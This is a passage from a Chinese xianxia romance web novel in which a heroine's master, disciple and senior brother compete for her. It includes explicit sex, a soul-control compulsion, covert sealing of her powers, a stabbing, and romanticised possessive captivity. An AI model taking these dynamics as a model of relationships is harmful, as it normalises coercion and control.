“你的神魂沾染了其他男子的气味。”卫云台话音刚落,一股更为强悍的灵气就朝她的灵魂涌来,它包裹着最敏感的地方,一遍又一遍地冲刷着其他人留下的气息,可这种程度压根就不是季白现在能承受的。 她面色潮红,大汗淋漓地瘫软在卫云台怀里,整个人连一句完整的话都说不出来,袖摆在挣扎间向上卷去露出半截皓腕,尤为刺目的是雪白肌肤上的暗红色图纹。 卫云台扫了一眼,眼中郁色渐深。 他不明白,这一次为何会发展成这样,比上一次还要糟糕。 他的乖徒儿,在短短的一周先是与魔尊结情契,后又与其他男子神交。 难道情欲之欢就这么让她着迷吗? 一次又一次的刺激让卫云台的眼底笼罩了一层乌黑的雾气,蓝白色的瞳孔仿佛都被这股阴邪的雾气染成黑色。 他闭了闭眼,强行将它们压了下去,再次睁开眼,眼中又是一片澄澈。 直至卫云台在她身上再也感受不到其他男人的气息时,他方收回自己的手指,目光又落回她的手腕上。 季白喘了半天的气,终于缓了过来。 她装作一脸委屈的样子说:“师父,我真的没有和别人神交,我也不知道怎么回事。” 其实季白这会已经隐隐猜到了。 卫云台说的神交应当是指她和孟辞在梦中发生的事,可那些不都是孟辞的梦吗? 怎么会和神交扯上关系,还被卫云台看出来了? 季白这会无比庆幸原主把卫云台锁在了山洞,他被囚在这儿都无比敏锐,若是将人放出去,恐怕她所有的小心思都会在他面前展露无遗。 卫云台捏着她的下巴,俯身凑近她,那双蓝白色的眼睛如同大海一般将她包裹。 季白瞬时就迷失在这双眼睛里,好似置身于蓝天大海,一个遥远的声音透过云层传入季白耳中。 “和你神交的人是谁?” 季白张了张嘴,下意识就吐出了一个字。 “孟……” 季白立即反应过来不对,掐了自己一把强行开口道:“中的人,我不知道,我以为我只是做了一个梦。” “我不记得他是谁了……” 季白这话也不算撒谎,确实是在孟辞的梦中。 “梦?”卫云台的眼神眯了眯,鼻尖抵在她的鼻尖,似是在审判她有没有撒谎。 季白这时也彻底从卫云台的眼眸中清醒过来。 她很确定卫云台刚刚一定是对她使用了某种摄魂之类的术法控制了她的思想。 “真的。”季白说,“我……我之前不是和师父说过吗,我以为死去的仙人是被离魂术所害,就自己在房中试了一回离魂术。” “可不知是不是我记忆不全的缘故,我用了离魂术后当时就晕了过去,什么也不记得了。” “师父。”季白攥着卫云台的衣襟,神色慌乱地说,“一定是那次有人对我的神魂做了什么。” “可是师父……什么是神交啊?”季白故意问。 “你很想知道?”温热的吐息落在她的脸上带着冰莲花的香气,那双凝望着她的蓝白色眼眸溢出点点危险又诱人的气息。 她感觉他的唇快要贴上她了,季白本能地闭上了眼睛,却被卫云台突然扶正坐好,她睁开眼诧异地望向卫云台,只见他端端正正地坐着,垂眸问她:“你刚刚说你在典籍里找到了什么?” 季白看了一眼卫云台饱满的唇,色泽鲜亮,莹润可人。 她心中暗想,孟辞是和她神交以后再吻她,因而得到了先天一气,如果她也和卫云台神交,会不会也能得到他的先天一气呢? 季白咽了咽口水,老实答道:“我在典籍里找到了关于献祭的说法。” “其中有一种献祭死后和……”季白把自己的想法全盘说了出来,在说到献祭者必须要对献祭的对象保持绝对的热忱和信赖时,她突然停了下来,抬眸看了一眼面前的卫云台。 山洞的光线很昏暗,往日进来与床榻上的卫云台四目相对时,只觉暧昧顿生,情意缱绻,可今日昏黄的灯光在幽暗中闪烁着微弱的光芒,坐姿端正,如道庙神塑的卫云台低垂着眉眼,那双蓝白色的眼眸在昏暗中静静看着她,竟让她有一种毛骨悚然的错觉。 她的心开始不受控制的狂跳,出了一身冷汗。 她突然意识到整个修仙界除了太清仙尊卫云台拥有着大量修士们的崇拜与敬仰,就再没有第二个人了。 或许江成很崇拜同辈的孟辞,可作为太清宗弟子的他更敬仰太清宗消失已久的宗主太清仙尊。 其他门派的前辈不会敬仰崇拜孟辞一个小辈,更不会对魔头李承仙有任何好感。 若是献祭,唯有卫云台一人可做到。 一股不知从何而来的凉风吹过季白的后颈,顿时激起一片鸡皮,上首的卫云台含笑问:“怎么突然不说了?” 他的声音依旧带着可以包容一切的温柔,脸上笑意如菩萨般慈悯,可落在季白眼中却觉得此时此刻的卫云台可怕极了。 “我……我突然想起来一些事,需要我去处理,我下次再来看师父。”季白一面说一面起身往后退,却只听银链哗哗作响,下一秒季白就被卫云台抓住了脚腕。 这双手像雪一样寒凉,冻得季白浑身打哆嗦。 他握住季白的脚腕将人拖拽至身前,伏在她的上首笑着问:“你发现了吧?” “你这么聪明,哪怕是记忆不全也还是会找到真相。” 季白深吸了一口气,真的是他? “为什么?”季白问,“他们都是崇拜你的修士,你怎忍心对他们下手?” “我没有下手。”卫云台说,“是他们心甘情愿奉给我的。” 卫云台这话说得理所当然,没有一丝一毫的愧疚与自责,好像是端坐神台自若接受信众香火的神明,可他受得不是香火啊,而是他们的性命。 季白有一瞬间的恍惚,卫云台被囚在这山洞中究竟是被迫还是顺势而为? 如果是*被迫,他又怎能在身体受限的情况下杀了那么多的人? “你想怎么做?”卫云台在她耳边低声问,“去和他们告发?可他们不会信你。” “他们只会觉得是你先囚禁玷污了自己的师尊,又诋毁师尊的名誉,似你这般大逆不道的行为暴露于人前,就连我也不能护你全然无恙。” 季白瞪着他问:“所以你早就想好了?你假意被我囚在这儿,既方便你行事,一旦事露也可全推到我身上?” 季白开始怀疑原主对卫云台变态般的爱到底是否为真,她见识过卫云台刚刚的摄魂能力,他那双眼睛可以诱导一个人在毫无知觉的情况下说出真话,那想要引诱一个人爱上他,对他而言也是极为容易的吧。 甚至……他都不需要运用额外的能力,只需要给她一点点暗示,就能轻而易举的得到她的心,得到她全部的爱。 没有任何人可以拒绝神明的魅力,或许原主与那些心甘情愿为卫云台奉上所有的人没有什么两样。 季白突然想到了戚流星对卫云台的厌恶,如果说有谁不喜欢这位修仙界如同神一般的存在,那么也唯有他了。 作为卫云台的第一个徒弟,他是不是早就知道了卫云台的真面目,所以对他如此厌恶? 卫云台没有回答她的问题,只是低头吻上了她额头的花钿,轻声说:“小白,外面太危险了,我很不放心。” “你就留在这儿乖乖陪着我吧。” “你不是一直想让我吻你,想知道什么是神交吗,我现在就一点一点的教会你。” 清凉的吻顺着额头一路吻至她的唇,吻开始变得炙热,似是一团雪被火山溶解,化为了足以焚毁一切的熔浆。 季白想到自己的任务,看着卫云台这张相当赏心悦目的脸,也就没有拒绝。 然而当她额上的花钿还是没有任何反应时,她还是忍不住皱了皱眉,一直观察着季白神情的卫云台自是没有错过。 他退了出来,掐着她的下巴神情冰冷地质问:“怎么?不满意?” “是比不上与你神交的男人,还是比不上李承仙?” “还是说……”他逼近她,好似颇有些咬牙切齿,“你嫌我?” 季白的下巴被掐得有点疼,她很想怼他几句,但又怕他情绪失控,最后还是自己倒霉,因而抿着唇一句话也没说。 可这幅样子落在卫云台眼中,就成了她已经厌他到连话都不想和他说了。 “不说话?”卫云台看了她半晌,又温柔地笑了,“我有的是办法让你说话。” 他复又低下头吻了上去。 一股强悍的灵气涌入体内直冲府台化为丝丝缕缕的藤蔓将她紧紧缠绕,偶尔探出的枝叶轻柔地摩挲着她的五脏六腑。 痒,从里到外。 她的心,她的府台被他的灵气爱抚。 她的身体则被他灵巧的手把玩。 在即将失控时,她再也受不住这样缠绵温柔的触碰,忍不住溢出了几声哭求,却被卫云台捂住了嘴。 “你这样叫。” “会让我忍不住的。” 在昏暗的山洞里,只有他那双蓝白色的眼眸亮得吓人。 她不记得到底和卫云台做了多少遍,只记得在她昏过去之前依稀在腿间看见了他银白色的发。 卫云台感受到季白彻底昏死了过去,抬起了那张遍布情欲的潮红的脸,指尖轻抚着她额上的花钿,低声呢喃了一句,“小白,别怪我。” 他闭上眼将掌心贴在她的胸口,霎那间,灵光四起,温润的灵气如潮水般涌入季白的体内,一遍遍的游走于她的奇经八脉,又溶于她的府台,最后在她的丹田开出一朵冰蓝色的莲花。 季白原本的灵气一半被散了出来,一半被卫云台冰蓝色的灵气全部镇压在了体内的最深处。 等卫云台收回手,季白整个人都散发着一种神圣又圣洁的光辉,就连手腕上显眼的暗红色图案也又一次隐匿了下去。 做完一切的卫云台仿佛彻底脱力了一样,单薄的身体晃了晃随后倒在了季白的身旁,他半睁着眼望着季白,眼中是季白从未见过的执着与坚定。 良久,他彻底没了力气,缓缓闭上了眼。 他劝说季白放下,可他自己,前世今生却从未放下过。 不知过了多久,季白的眼睫轻轻颤了颤,随后就缓缓睁开了眼。 入目就是卫云台莹润水泽的唇,高挺的鼻梁上亦泛着一层水光,她想到在她昏迷前看到的那一幕,不由红了红脸,高潮的余韵再次从她的体内复苏。 她估摸着时间已经过去了很久,想了想决定出去看看,可她刚刚一动就被卫云台抓住了手腕,那双蓝白色的眼眸不知在何时睁开了。 “你要去哪?” 不知是不是季白的错觉,她总觉得卫云台看起来非常的疲倦。 “我……我不去哪。”季白说,“我就活动活动身体。” 卫云台盯了她许久,就在季白以为他要做什么时,却又突然闭上了眼,季白伸手在他眼前晃了晃,发现他好像彻底昏过去了。 季白不做犹豫立即从床上跳了下来,却一个腿软险些跪在地上。 她在心中暗骂了卫云台一句,就准备施展清洁术整理自己,却惊讶地发现自己的灵气不见了! 别说清洁术,她现在连储物袋都打不开了。 不用想也知道定是卫云台搞得鬼,她不敢再耽误简单地拢了拢衣衫就往外跑,生怕等卫云台醒来她就跑不掉了。 季白的脑中一团浆糊,一直有灵气护体的她突然失去了保护自己的实力,让她有点不知所措也有点害怕。 她拢着有些破碎的衣衫一路跑出了山洞,可她刚出隧道就觉身子不适,疼痛自心间而起,府台而生,折磨得她痛不欲生。 这也定是卫云台做的。 他怕她跑了,就趁她睡着时在她身上下了某种法术逼她回去。 可她偏偏吃软不吃硬,今天就是疼死她,她也绝不回去。 季白咬着牙继续往前走,刚走出后山能看见自己的小院时,季白就听见耳边传来一道惊诧的声音,“师父,你怎么了?是谁伤了你?” 季白转过脸就看见疾步而来,眼神担忧的孟辞,她正要说话,下一瞬极致的疼痛就逼得她晕了过去。 孟辞连忙上前抱住季白,他一近身就闻到了一股熟悉的旖旎气息,紧接着就看清了季白脖子上的红痕,斑驳暧昧的红痕顺着松散的衣领一路蜿蜒至看不见的更深处。 他几乎快要闻不到师父的气味了,全是那令人作呕的冰莲花气息。 孟辞乌黑的眸子冷得像冰,他刚刚亲眼看见季白是从山洞里出来的。 他抱起她往季白的房间走去,走了几步,孟辞就察觉到自己的手湿了,他脸上的神色越发难看,似是恨不能冲进后山山洞将人砍死一样。 季白没法动用术法,因而在情事过后完全没有清理,孟辞本是要给季白放一个清洁术帮她简单整理一下。 可他很快发觉季白现在很不对劲,她苍白的小脸紧皱着仿佛忍受着极大的痛苦,身上的汗多到已经把衣衫完全浸湿了。 这绝对不是事后该有的状态。 孟辞轻柔地将人放置在床上,又伸手搭在她的手腕上为她诊脉,孟辞作为这一代里最优秀的弟子,也是经过成千上百的战斗磨砺出来的。 只不过他素来喜欢独来独往,因而在除妖时免不了受伤,他就自学了医道,他很有天赋,曾经还有医修的大能要收他为关门弟子,他不肯,那医修遗憾而去,但临走前也给孟辞留了一本他花了半辈子心血整理而出的医典。 季白的脉象极为复杂,好似有人跟她…… 他眉头紧皱地收回了手,当务之急是要先给季白止疼,她再这样疼下去,非要筋脉爆裂而死不可。 孟辞抱起季白快步走向浴室,他先帮着季白褪去了衣衫,雪白的肌肤上遍布刺眼的红痕,从胸口到大腿,足以见证当时的激烈。 孟辞瞳孔一缩,胸口剧烈的起伏着,就连眼睛都红了,他攥着衣带的手紧了紧,尖锐的指尖刺入肉中挤出血来也丝毫不觉得疼。 他喉结滚了滚,随后闭上眼快速平息了心中翻涌的情绪。 孟辞抱着季白跨入浴桶中,季白现在处于昏迷的状态,一个人在浴桶中很容易滑倒,因而他只能扶着她。 他从随身的储物袋中翻找出需要用的草药放入桶中,而后施展引水术将浴桶倒满水。 随着水温的逐渐加热,药性也逐渐挥发了出来,清澈的水很快变成了褐色,孟辞低眸看着怀里的季白,她紧皱的小脸逐渐变得平和,似是身上的疼痛已经彻底缓解了。 他的手没入水下找到季白的手腕将手搭在她的脉搏上又诊了诊,体内的经脉已经得到了舒缓,但还有些地方需要修补。 他收回手目光晦暗地望着季白熟睡的小脸,师父,山洞里的人到底是谁? 你就这么喜欢他吗,喜欢到心甘情愿地把自己弄成这样? 他闭上眼伸手帮季白清理体内残留的爱痕,湿滑的水泽与肿胀似乎是在赤裸裸地告诉他,当时的他们有多激烈。 这一刻,想要杀了那个人的心情盖过了所有。 孟辞帮她清理干净身体后,又伸手给季白渡自己的灵气帮她修复破损的经脉。 他正在入神时,只听得屋外突有急促的脚步声传来,孟辞立即睁开眼看向屋外的方向,下一刻,紧闭的房门被人一脚踹开。 那人在看清屋内的孟辞与季白时,气得双眸通红,拔剑相对。 “孟辞!”戚流星怒道,“你给我滚出来!” 戚流星做梦也没想到他急匆匆赶回来看见的第一幕竟然是季白与孟辞共浴,褐色的水面衬得季白的肌肤越发如雪般白皙,只是颈项与肩头那刺目的红痕已经彻底摧毁了戚流星的理智。 戚流星怒骂道,“孽畜!你竟敢对自己的师尊做出这等大逆不道的事!我今天非要替你师父清理门户不可!” “你给我滚出来!”戚流星气得抬手朝屋外重重劈了一剑,庭院中那棵千年松树顷刻间就裂为了两半。 孟辞面色平静地收回手,道:“师叔,别打扰了师尊。” “师父受伤了,我在帮师父疗伤。” 戚流星气得眼红,他跨步上前一把揪住了孟辞的脖领子,四溅的水花顿时打湿了他的衣衫。 戚流星目眦欲裂地问:“受伤?疗伤?哈!什么样的伤能让人一身红痕?什么样的疗伤要让人脱了衣服?!” “你当我是瞎子蠢蛋不成?你给我滚出来!” 盛怒之下的戚流星也还保留着一丝理智,他没有对季白骂半句,也没有对季白出手,哪怕刚刚气急挥剑也是对着外面,生怕会伤了季白。 眼下他凑近一瞧见季白双眸紧闭,俨然一副晕过去的样子,可她身上的红痕也做不得假,越发认定是孟辞这厮使诡计迷/奸了季白。 他是真没想到孟辞这幅苍白阴郁的面容下竟然藏着这份歹心,他早就该杀了他! 孟辞被戚流星拎出了浴桶,却丝毫不慌。 他低眸看了浴桶中的季白一眼,似是察觉到了什么,嘴角反而露出了一抹浅浅的,不易察觉的笑意。 他复而抬起头看向面前的戚流星,故意激道:“师叔,你老了,师父不喜欢你。” “你没看见师父身上的红痕吗?我们刚刚……玩得可高兴了。” 【作者有话说】 孟辞:年纪最小,心眼最多。哈哈哈。 (ps:如果我后面万更,大家会不会给我一点营养液和打赏的鼓励,(*ω)) 60-70 61 第61章 戚流星气得目眦尽裂,青筋暴起,全然没了平日里潇洒仙君的做派。 他剑锋直指孟辞,咬牙道:“孽畜!我今日必杀你!” 孟辞侧身躲避,一面躲还一脸焦急地解释:“师叔,你别冲动。” “我真的只是在给师父疗伤而已,你别误会。” “我和师父之间清清白白的。” 孟辞没有拿剑反击,只是一个劲的躲,戚流星眼下是一句话也听不进去,一心只想杀了他。 孟辞修炼时间虽短,可他却极有天赋,面对大他一辈的戚流星竟完全不落下风,若是拿上剑与他正经打一场,或许还真能不输他。 戚流星见几剑没有伤着孟辞,又想到孟辞那句“师叔老了”越发怒火中烧,一招比一招狠辣,转攻孟辞的死穴。 季白感觉自己的身体泡在温暖的水中,舒服得让她想要一直一直睡下去,可耳边叮铃咣当的声音却吵得她不得安宁。 她缓缓睁开眼脑子还没清醒,就先看见戚流星一脸怒容地一剑捅进孟辞的胸口。 他捅得极深,季白清楚地看见那柄带着血的剑撕裂他后背的衣衫,冒出闪烁着寒光的剑锋,喷洒而出的血雾落在季白脸上,如碎雪般冰凉。 季白大叫一声:“师兄!你在做什么?你疯了吗?” 戚流星听见季白的声音顿时恢复些许理智,他收回带血的剑,余怒未消的脸上勉强挤出一抹微笑,“师妹,你醒了。” 季白咽了口口水,本能就要奔过去,却发现自己竟然全身赤裸地躺在浴桶里,鼻尖除了铁锈般的血腥气外,还有浓郁的药香。 这是孟辞做的吗? 季白有点摸不准现在的情况,更不明白为何她一睁眼两人就打起来了。 戚流星不该在外清剿妖洞内的蛊妖王吗,怎么就突然回来了? 难道她睡了很久? 季白脑海中有一万个问题,但她的面色很平静,一句话也没有说的看向捂着胸口半跪在地上的孟辞。 他本就肤色苍白,如今受了伤,越发白得像纸,他回过头看向季白,眼眶有些许发红,瞧着可怜极了。 “师父。”孟辞说,“我正给师父疗伤,师叔却一进门就要杀我,硬说是我对师父……是我玷污了师父……” 孟辞说到这儿,垂下了头,浓长的眼睫掩住他眸中的神色,“天地良心,我和师父之间清清白白,此番也是为救师父性命迫不得已而为之,可师叔一个字也不肯信。” 季白听明白了,戚流星估摸着以为她和孟辞有什么,因而气急伤人。 戚流星不蠢,这会也回过味了。 孟辞这小子刚刚分明是在故意激他,就等着他对他动手,而后对着师妹卖可怜呢。 戚流星轻嗤一声,他是不屑于这些上不得台面的手段,堂堂男子汉大丈夫怎能行小人行径? 他恨恨瞪了孟辞一眼,道:“师妹,你这徒弟走修仙的路真是可惜了,就该到戏台子上唱戏去。” 他不再理他,跨步朝季白走去,眼下最重要的是季白究竟怎么了,还有她身上的红痕又是从何而来。 “师妹。”戚流星俯身摸上她露在水外的臂膀,目光死死盯着她脖颈上的红痕,“你身上的红痕是谁留下的?” 季白顿时僵在原地,不知该如何回答。 若是把卫云台牵扯进来,眼下的情况会变得更加复杂。 戚流星见季白不说话,目光阴狠地落在孟辞身上,握着她臂膀的手微微用力,“是孟辞做的吗?” 孟辞不语,只是默默看着季白,胸口的伤还在汩汩地流着鲜红的血。 “师父……” “是不是他趁你不备做下了欺师灭祖的事?” 季白闭上眼,有些不忍心去看孟辞那双乌黑的眼眸,为今之计也只有委屈孟辞了。 戚流星和卫云台的先天一气还没有得到,是她必须维护的对象,她不能让戚流星的情绪失控,也不能让他知道卫云台的存在。 “是。”季白清浅的声音在安静的房间响起。 孟辞猛然抬眼看向季白,眼底情绪难辨,但他也没有为自己辩解一个字。 季白睁开眼望进戚流星审视她的眼眸中,只听水声哗啦作响,她从水中抬起手抓住戚流星的衣摆,小声说:“可这也不能全怪孟辞。” 戚流星的眼睛定定看着她,像极了……管教不听话妹妹的严肃哥哥,哪怕他什么也不做,也会让季白有一种发自内心的胆颤。 戚流星突然勾起唇角露出了一抹微笑,他抬手帮季白把湿漉漉的鬓发别至耳后,捧着她的脸低声问:“不能全怪他?也就是说你是自愿的?” 他脸上的笑容越发深邃,“如果师妹喜欢自己的徒弟,我这个做师兄的自然也不会拦着师妹的好姻缘,只是师妹昨日才说最喜欢我,今日就移情别恋了?还是说……” 他的手蓦然发力,掐着季白的脸将人拉至身前,脸上的笑意顷刻间消散得无影无踪,“师妹是觉得耍我好玩?” 季白毫不怀疑她这会说个是,这家伙会像捅孟辞一样捅给她一剑。 她这会灵气尽失,若真打起来完全不是戚流星的对手。 季白闭上眼用一种极难启齿的羞愧表情说:“不是,是……是我修炼走火入魔,认错了人,我以为孟辞是你。” 她说完又紧抓着戚流星的衣襟,双眸含泪,一脸深情地说:“我喜欢的人真的一直都是你。” “孟辞是我的徒弟,我……我怎么会喜欢他?” 已经捂着剑伤站起来的孟辞此时此刻只觉自己的心像是又被人捅了一剑一样,这一剑比戚流星给他的要疼得多。 他紧攥着垂在腿侧的手,额前的碎发遮住他的眉眼只留下锋利的下巴与淡粉的唇,微薄的唇勾起一抹讽刺的笑。 他早就知道会是这个结果,却还是不自力量的想要试探他在季白心中的地位。 结果显而易见,失去价值的他比不上山洞里的人也比不上戚流星。 “你……你也别怪孟辞。”季白小心翼翼地说,“当时情况复杂,他有不得已的苦衷,他真的是为了救我。” 戚流星的目光落在她身上密布的吻痕,每看一眼他心中暴虐的情绪就多一分,想要杀了所有觊觎她的人,想要把她关起来一个人独赏,想要她的心里只有他一个人,想要她的身体只有他能碰,想要她的眼睛也只能看向他一个人。 戚流星垂下眼睫压住心中的欲念,指尖摩挲着肌肤上的红痕,低声道:“是有多么复杂的情况能让他在你身上留下这么激烈的痕迹?你修炼走火入魔认不得人,可孟辞却能认得。” 季白还没想好该怎么答他,只听前方传来“噗通”一声,季白抬眸看去只见孟辞一身是血的跪在地上,“全是我的错,与师父无关。” “是我不受控制冒犯了师父,师叔要罚就罚我吧!” 季白乌黑的瞳孔颤了颤,她虽然猜到孟辞应当会帮她,却没有想到他竟然就这样把罪责全部揽在了自己身上。 戚流星轻笑一声,“你以为我就不敢罚你吗?” 他跨步走到孟辞面前用青笛挑起他的下巴,俯身凑到他耳边用只有他们二人能听见的声音低声说:“瞧见了吗?任你机关算计,使尽手段,在我和你当中,师妹也只会选择我。” 他侧头看他,嘴角勾起一抹浅淡的笑意,眼神却冰冷阴厉,“孟辞,修行不易,纵是天纵之才,陨落者也不在少数,你以后可要当心啊。” 孟辞抬眼看他,眼中带着几分讥讽,“你以为师父就真的爱你吗?我之今日,即你之明日罢了。” 戚流星眼神暗了暗,起身回头对季白高声道:“师妹,似孟辞这般大逆不道,枉顾人伦之辈,应当即刻逐出师门,永不许再踏入太清宗半步。” 季白与孟辞的目光隔空对上,他乌黑的眸子里满是落寞,这样的惩罚对孟辞来说太过残忍。 她至今都还记得她同意孟辞住进丹霞峰的那一天他有多么的开心。 季白藏在水下的手捏了自己一把,心想,哪怕是为了让孟辞对戚流星守住秘密,她也该帮他说句话。 “师兄……”季白说,“孟辞毕竟是为了救我,且他平日里并无任何不轨,这样的惩罚是不是太重了?” “师妹还真是菩萨心肠。”戚流星说,“不伤他一厘一毫,只是逐他出师门而已,这惩罚哪里重了?” “还是说……师妹舍不得吗?” 季白已经快没有耐心了,要不是卫云台害她现在失了灵气打不过戚流星,她何至于这般委屈求全? 她都已经解释了,他还想怎么样? 戚流星见季白不说话,原本已经压下去的怒火再一次涌了上来。 他冷笑一声,“师妹既然这般舍不得,不如你俩在一起好了,我祝你们琴瑟和鸣。” “好。” 一个在戚流星意料之外的回答顿时让他愣在了原地,他反应了许久都没有反应过来,季白竟然说了好。 一边的孟辞听见季白这声好,晦暗的眼眸顿时亮了,就连那张苍白的脸好似都红润了。 戚流星能和季白从亲密无间的师兄妹发展到见面就吵,吵不了几句就打的死对头也是有原因的。 两人都性格高傲,谁也不肯让谁,在季白小时候倒也还好,可等季白的年龄越来越大,两个人的矛盾也就逐渐尖锐起来。 “你说什么?”戚流星盯着她问,握着青笛的那只手青筋暴起,“你说好?” 季白直视他的眼睛,神色平静地说:“你我都是修仙之人,何必把肉身看得那般重要?” “我已和你解释过,我和孟辞的事只是一场意外,他是为了救我,如果师兄实在不能接受,之前的话就当我从未说过,你我从今往后还是师兄妹的关系。” 季白这个人实在不是一个好脾气的人,她也可以装乖撒娇地哄你几句,但你不能当真了,如果哄了半天还没有好,那么你接下来就该哄她了。 季白心想,她是来做任务的,又不是来当舔狗的。 这种事你情我愿,谁也不强迫谁。 系统不是说这是乙游吗,还说什么男主对她的爱意百分百,结果就这么一点小事就闹腾得没完没了了? 季白看了一眼孟辞,心想还是孟辞最乖巧懂事。 戚流星的一张脸红了绿,绿了黑,黑了又红,他定定站在原地,一时间不知该如何说。 照以前他定是要和季白吵起来,可……可他好不容易能和季白结契,难道真的要再毁了这一切恢复成以前针尖对麦芒的关系吗? 如果季白不曾亲近他,如果他不曾吻过季白的唇,或许他还能以季白师兄的方式陪伴在她左右,如今又让他如何甘心退回去? 孟辞捂着伤口说:“师父,师叔,你们别为我吵架,一切都是我的错。” 季白眼神赞许地望向孟辞,瞧瞧,还是她徒弟懂事,真是没白教。 戚流星的脸更黑了,刚刚说让孟辞去戏台演戏还小瞧他了,他就从来没见过这么能装的人。 “师叔。”孟辞有气无力地低声说,“师父在和你说气话,你千万不可当真啊。” “不过师叔是真的喜欢师父吗?如果真的喜欢为何会一直在意我和师父发生了什么,反而对师父的身体状况视而不见呢?” “如果是我……”孟辞低声说,“只要师父身体无碍,什么都可以不在意。” 戚流星把牙都快咬碎了,如果不是季白还在这儿,他真想一剑杀了他。 好赖话全让他说了。 他深吸一口气平复自己的情绪,他千万不能被这厮气死,要气死了,还白白便宜了他。 他今天要是走了,以这小子的心机马上就能顶替他的位置。 他与季白相伴数百年,难道最后的结局是让他吃季白和一个晚辈的喜酒吗? 戚流星一想到那副画面,就气得气血上涌,头疼欲裂。 “师妹,是我错了。”戚流星换上一副和煦的笑容,“我只是太担心孟辞会不会在你意识不清时欺负了你,因而……。” 他顿了顿,压下心头翻涌的情绪,说:“因而……” 可这个因而的后面,他半天也没说出来,最后话锋一转,问:“那师妹觉得应当如何处置他呢?” 季白见戚流星服软也是有台阶就下,毕竟戚流星的先天一气还没有到手。 “不如就罚他关一周的禁闭。”季白说,“若是没有孟辞,师兄此番回来看见的恐怕就是我的尸体了。” 季白说着又用委屈的眼神看着戚流星,“难道在师兄眼中我的性命还不如那件事重要吗?” 戚流星笑意不改,“都听师妹的。” 最终,孟辞被罚在卧房禁闭七日,这样的惩罚对于他们这样的修行之人来说毫无作用,不过是给戚流星一个面子上的交代罢了。 孟辞走后,季白这方对戚流星说:“师兄能帮我拿件衣衫吗?我修行出了岔子眼下灵力尽失,就连一个储物袋都打不开了。” 戚流星闻言抬手就想帮她诊脉,虽然他刚刚一进屋就看出季白并无大碍,但毕竟没了灵力对于修士来说可是一件大事。 季白一惊,本能就把手往后一缩,戚流星探过去的手摸了个空,一时间气氛有些诡异的尴尬。 季白知道是卫云台造成她的灵气出了问题,而戚流星又是卫云台的首席大弟子,他对于卫云台的气息以及术法都比一般人要熟悉得多。 她怕戚流星会通过脉象看出点什么…… “孟辞刚刚已经帮我看过了。”季白解释,“我现在也没什么事了,就不用再劳烦师兄了。” 戚流星微笑,“诊个脉的事算什么劳烦呢?” 季白垂眸不语,她实在想不到什么好借口拒绝,可也不敢把手伸给戚流星让他诊脉。 她之前在卫云台那儿几次翻车皆是因为他握住了自己的手腕确定的。 万幸戚流星也没勉强她,而是自顾自地扬眸一笑,道:“也是,我又不是医修,还是等会找医修来给你看看。” 他说着又从随身的储物袋里找出一件女装递给季白,而后转过身去等着季白穿好衣服。 季白自从进了这个世界,一直都是直接用法术穿衣,已经许久没有自己穿过衣服了,竟一时有些手忙脚乱。 一阵折腾后,身上的衣服哪哪都不对劲,总感觉歪七扭八的,她索性一甩带子对戚流星道:“师兄,你帮我施个法术,这衣服我实在穿不好。” 戚流星转过身来笑着摇摇头,“从前你就不好好穿衣服,如今大了还是这般。” 他说着抬手一挥,季白的衣服顷刻间就变得整整齐齐,戚流星走到季白面前帮她挽起垂在腰间的青丝,修长的手指穿过浓密的乌发,又灵巧地挽了个髻再用金钗固定在脑后。 他低声同她说话,语气中带着几分诱哄,“师妹,你现下灵力尽失,我实在不放心留你一人在丹霞峰,你随我搬去四象峰住,可好?” 如今孟辞搞定了,除了卫云台就只剩戚流星了,她自然是巴不得有多一点的时间和戚流星相处,因而也就没有拒绝点头同意了。 戚流星眼中闪过一缕喜色,即刻就牵起季白的手说:“我们这就走,一应物件四象峰都有。” 他的心雀跃不已,只要季白跟他去了四象峰就能是他一个人的了。 他要把她藏在四象峰,让任何人都找不到她。 不过在此之前,他要先昭告天下,师妹是他的妻子。 “等等。”季白说,“我去和孟辞说一声。” 戚流星的面色顷刻间就沉了下来,季白见状抱着他的手臂踮脚吻了一下他的面颊,撒娇道:“不管怎样孟辞毕竟救了我,而且他还是我的徒弟,我离开丹霞峰总要和他说一声。” 戚流星神色稍缓,道:“那你快一点,我不喜欢他看你的眼神。” “好。”季白应了一声就快步朝孟辞的房间走去,主要是安抚孟辞的情绪,再嘱咐他千万别乱说。 如今她的任务已经完成的差不多了,就差戚流星和卫云台的先天一气了,可千万不能再出岔子了。 “孟辞。”季白敲了敲门喊道。 “师父,您进来吧。” 季白一推门就差点撞上站在门口的孟辞,她先看了一眼孟辞胸膛上的伤口,一脸关切地问:“你的伤没事吧?” 孟辞抬手关上了门,而后低头望着季白说:“很疼。” 只是他说疼时,脸上却没有什么表情,有一种非常古怪的荒诞感。 季白咬了下唇,说:“我帮你上点药?” 孟辞摇头:“不用了,我已经上过了。” “但我还是好疼,师父能抱抱我吗?” “师兄还在外面呢。” “没事的,他一时半会不会进来。”孟辞压低了声音说,“师父真的不能抱抱我吗?” 季白想了想抬手圈住孟辞的腰身,与其说是她抱他,倒不如说是他在抱她,她整个人都几乎被他圈在怀里了。 孟辞轻轻把下巴搁在她的肩膀上,低声说:“师父是来找我道别的吗?” 季白惊讶于他的敏锐,“嗯,我这段时间要去师兄那儿住,不过你放心我肯定会回来的。” 季白说着轻轻拍了拍他的后背,安抚道:“孟辞,谢谢你啊,你不仅救了我,还帮我瞒住了秘密。只是我有一些不得已的原因必须要和师兄去一段时间,但你相信我,我的心里是有你的,你一定会帮我瞒住秘密的对不对?你最乖了。” 季白没有撒谎,她心里有他,但还有很多他…… 孟辞缓缓松开她,抬手摩挲着她乌发上的金钗,轻声问:“我这么乖,师父为什么还是要抛下我呢?” 他抓住季白的手放在自己受伤的心口上,“真的很疼啊,尤其是在师父抛弃我的时候。” 掌心下是他炙热的体温,汹涌的心跳。 一时间狭小的空间里静得可怕,孟辞低头用下巴轻蹭季白的脸颊,呢喃着问:“师父说等查出仙陨案的真相就会与我在一起是真的吗?” 他的心还在跳动着,越跳越快。 “师父,是真的吗?” 季白口干舌燥地答:“是真的。” 孟辞罕见地低低笑了起来,震颤的下巴弄得她的脸颊痒痒的。 谎话最动人。 “师父,你一定要和师叔走的不得已的原因,是不是*是像曾经渴求我的吻一样,渴求他的?” 季白的心剧烈地颤动了一下,产生了一种比面对卫云台时还要惊慌的可怕。 “师父的心慌了。” “我猜,这一定不是一个简单的吻。”孟辞低下头吻了上去,但他又不认真吻只是散漫地磨蹭着她的唇,“一定要符合某种特殊的条件,对不对?” 【作者有话说】 